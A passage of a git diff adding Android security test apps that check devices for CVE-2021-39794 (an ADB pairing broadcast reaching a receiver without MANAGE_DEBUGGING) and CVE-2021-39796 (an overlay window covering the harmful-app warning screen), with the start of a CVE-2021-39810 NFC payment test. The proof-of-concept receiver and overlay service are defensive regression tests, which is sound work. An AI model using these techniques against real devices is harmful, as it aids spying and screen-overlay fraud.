+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_receiver;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java
new file mode 100644
index 0000000..ebad4ed
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/receiver-app/src/android/security/cts/CVE_2021_39794_receiver/PocReceiver.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_receiver;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocReceiver extends BroadcastReceiver {
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        // If PocReceiver is able to receive AdbManager broadcasts
+        // without having MANAGE_DEBUGGING permission, this indicates
+        // that vulnerability exists. Transfer control back to
+        // the test app and make the CTS fail in PocTestActivity
+        try {
+            Intent i = new Intent();
+            i.setClassName("android.security.cts.CVE_2021_39794_test",
+                    "android.security.cts.CVE_2021_39794_test.PocTestActivity");
+            i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            context.startActivity(i);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
new file mode 100644
index 0000000..0ddc4fa
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39794-test",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+    ],
+    certificate: "platform",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml
new file mode 100644
index 0000000..8ae6025
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39794_test"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.MANAGE_DEBUGGING"/>
+    <application
+        android:label="CVE-2021-39794-test"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocTestActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39794_test" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java
new file mode 100644
index 0000000..d918b06
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/DeviceTest.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_test;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.content.Context;
+import android.debug.IAdbManager;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.ServiceManager;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private static final int MAX_WAIT_TIME_MS = 10000;
+
+    @Test
+    public void testCVE_2021_39794() {
+        IBinder binder = ServiceManager.getService(Context.ADB_SERVICE);
+        assumeNotNull(binder);
+        IAdbManager manager = IAdbManager.Stub.asInterface(binder);
+        assumeNotNull(manager);
+        try {
+            manager.enablePairingByPairingCode();
+        } catch (RemoteException e) {
+            assumeNoException(e);
+        }
+
+        // Wait for receiver app to get the broadcast
+        try {
+            Thread.sleep(MAX_WAIT_TIME_MS);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java
new file mode 100644
index 0000000..6c11b9a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39794/test-app/src/android/security/cts/CVE_2021_39794_test/PocTestActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39794_test;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocTestActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        fail("Vulnerable to b/205836329 !!");
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
new file mode 100644
index 0000000..9ba76d0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39796",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml
new file mode 100644
index 0000000..9ef9763
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.CVE_2021_39796"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE_2021_39796"
+        android:supportsRtl="true">
+        <service android:name=".PocService"
+            android:enabled="true"
+            android:exported="true" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_39796" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
new file mode 100644
index 0000000..d669e9f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39796-harmful",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml
new file mode 100644
index 0000000..52f2fd2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39796_harmful"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <application
+        android:label="CVE-2021-39796-harmful"
+        android:supportsRtl="true">
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml
new file mode 100644
index 0000000..bb5d570
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java
new file mode 100644
index 0000000..3ca3645
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/harmful-app/src/android/security/cts/CVE_2021_39796_harmful/PocActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796_harmful;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml
new file mode 100644
index 0000000..c16cd74
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/res/values/strings.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+    <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+    <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="dumpsysActivity">dumpsys activity</string>
+    <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity
+    command</string>
+    <string name="errorMessage">Device is vulnerable to b/205595291 hence any app with
+    SYSTEM_ALERT_WINDOW can overlay the HarmfulAppWarningActivity screen</string>
+    <string name="harmfulActivity">android/com.android.internal.app.HarmfulAppWarningActivity
+    </string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="overlayAttack">overlayattack</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="testPkg">android.security.cts.CVE_2021_39796</string>
+    <string name="vulActivityNotRunningError">The HarmfulAppWarningActivity is not currently
+    running on the device</string>
+    <string name="vulnerablePkg">android.security.cts.CVE_2021_39796_harmful</string>
+    <string name="vulnerableActivity">android.security.cts.CVE_2021_39796_harmful.PocActivity
+    </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java
new file mode 100644
index 0000000..20fccde
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/DeviceTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.List;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+
+    private void startOverlayService() {
+        Context context = getApplicationContext();
+        assumeNotNull(context);
+        Intent intent = new Intent(context, PocService.class);
+
+        assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+                Settings.canDrawOverlays(getApplicationContext()));
+        try {
+            context.startService(intent);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.overlayServiceNotStartedException), e);
+        }
+    }
+
+    public void startVulnerableActivity() {
+        Context context = getApplicationContext();
+        Intent intent = new Intent();
+        intent.setClassName(context.getString(R.string.vulnerablePkg),
+                context.getString(R.string.vulnerableActivity));
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+
+        PackageManager pm = getApplicationContext().getPackageManager();
+        List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        String vulnerableActivityName = context.getString(R.string.vulnerablePkg) + "/"
+                + context.getString(R.string.vulnerableActivity);
+
+        assumeTrue(context.getString(R.string.activityNotFoundMsg) + vulnerableActivityName,
+                ris.size() != 0);
+        try {
+            context.startActivity(intent);
+        } catch (Exception e) {
+            assumeNoException(context.getString(R.string.activityNotStartedException) + intent, e);
+        }
+    }
+
+    @Test
+    public void testOverlayButtonPresence() {
+        Context context = getApplicationContext();
+        UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+        /* Start the overlay service */
+        startOverlayService();
+
+        /* Wait for the overlay window */
+        Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+                Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.overlayUiScreenError),
+                mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS));
+
+        /* Start the vulnerable activity */
+        startVulnerableActivity();
+
+        /* Wait until the object of launcher activity is gone */
+        boolean overlayDisallowed = mDevice
+                .wait(Until.gone(By.pkg(context.getString(R.string.testPkg))), LAUNCH_TIMEOUT_MS);
+
+        /* Check if the currently running activity is the vulnerable activity */
+        String activityDump = "";
+        try {
+            activityDump = mDevice.executeShellCommand(context.getString(R.string.dumpsysActivity)
+                    + " " + context.getString(R.string.harmfulActivity));
+        } catch (IOException e) {
+            assumeNoException(context.getString(R.string.dumpsysActivityNotStartedException), e);
+        }
+        Pattern activityPattern =
+                Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+        assumeTrue(context.getString(R.string.vulActivityNotRunningError),
+                activityPattern.matcher(activityDump).find());
+
+        assertTrue(context.getString(R.string.errorMessage), overlayDisallowed);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java
new file mode 100644
index 0000000..a7a9c5f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39796/src/android/security/cts/CVE_2021_39796/PocService.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39796;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+public class PocService extends Service {
+    public static Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    private static int getScreenWidth() {
+        return Resources.getSystem().getDisplayMetrics().widthPixels;
+    }
+
+    private static int getScreenHeight() {
+        return Resources.getSystem().getDisplayMetrics().heightPixels;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+        mLayoutParams.width = getScreenWidth();
+        mLayoutParams.height = getScreenHeight();
+        mLayoutParams.x = getScreenWidth() / 2;
+        mLayoutParams.y = getScreenHeight() / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        assumeTrue("The application cannot draw overlays",
+                Settings.canDrawOverlays(getApplicationContext()));
+        mButton = new Button(getApplicationContext());
+        mButton.setText("OverlayButton");
+        mWindowManager.addView(mButton, mLayoutParams);
+        mButton.setTag(mButton.getVisibility());
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
new file mode 100644
index 0000000..9a11e88
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/Android.bp
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-39810",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml
new file mode 100644
index 0000000..3bdc38d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_39810"
+    android:versionCode="1"
+    android:versionName="1.0">
+    <uses-permission android:name="android.permission.NFC"/>
+    <application
+        android:label="CVE-2021-39810"
+        android:supportsRtl="true">
+        <service
+            android:name=".PocService"
+            android:exported="true"
+            android:permission="android.permission.BIND_NFC_SERVICE">
+            <intent-filter>
+                <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
+            </intent-filter>
+            <meta-data android:name="android.nfc.cardemulation.host_apdu_service"
+                android:resource="@xml/aid_list"/>
+        </service>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml
new file mode 100644
index 0000000..8983381
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39810/res/xml/aid_list.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:requireDeviceUnlock="false">
+    <aid-group android:category="payment">
